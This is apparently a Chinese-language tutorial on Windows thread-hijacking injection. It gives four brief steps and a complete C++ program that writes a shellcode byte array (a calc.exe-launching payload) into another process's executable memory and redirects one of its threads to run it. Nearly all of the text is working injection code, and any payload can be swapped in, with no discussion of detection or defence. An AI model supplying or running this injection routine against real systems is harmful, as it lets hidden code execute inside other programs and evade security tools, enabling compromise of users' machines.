Thread Hijacking注入

通过线程劫持，注入远程进程

1、通过PID打开目标进程，并申请一段空间，写入shellcode

2、拍摄快照，遍历进程，打开ID

3、挂起该进程，保存线程变量，设置上下文为我们希望执行的Shellcode，恢复线程变量

4、ResumeThread激活程序继续执行

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>

int main()
{
	unsigned char shellcode[] = {
		0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64, 0x8B, 0x50, 0x30, 0x8B,
		0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C,
		0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
		0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1, 0x51, 0x8B, 0x59, 0x20,
		0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC,
		0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
		0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3,
		0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF,
		0xE0, 0x5F, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
		0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x68, 0xA6,
		0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
		0x13, 0x72, 0x6F, 0x6A, 0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
		0x00 
	};

	HANDLE targetProcessHandle;
	PVOID remoteBuffer;
	HANDLE threadHijacked = NULL;
	HANDLE snapshot;
	THREADENTRY32 threadEntry;
	CONTEXT context;

	DWORD targetPID = 0;
	context.ContextFlags = CONTEXT_FULL;
	threadEntry.dwSize = sizeof(THREADENTRY32);

	printf("Please Input PID number\r\n");
	scanf_s("%d",&targetPID);

	targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
	remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);

	snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
	Thread32First(snapshot, &threadEntry);

	while (Thread32Next(snapshot, &threadEntry))
	{
		if (threadEntry.th32OwnerProcessID == targetPID)
		{
			threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
			break;
		}
	}

	SuspendThread(threadHijacked);

	GetThreadContext(threadHijacked, &context);
	context.Eip = (DWORD_PTR)remoteBuffer;
	SetThreadContext(threadHijacked, &context);

	ResumeThread(threadHijacked);
}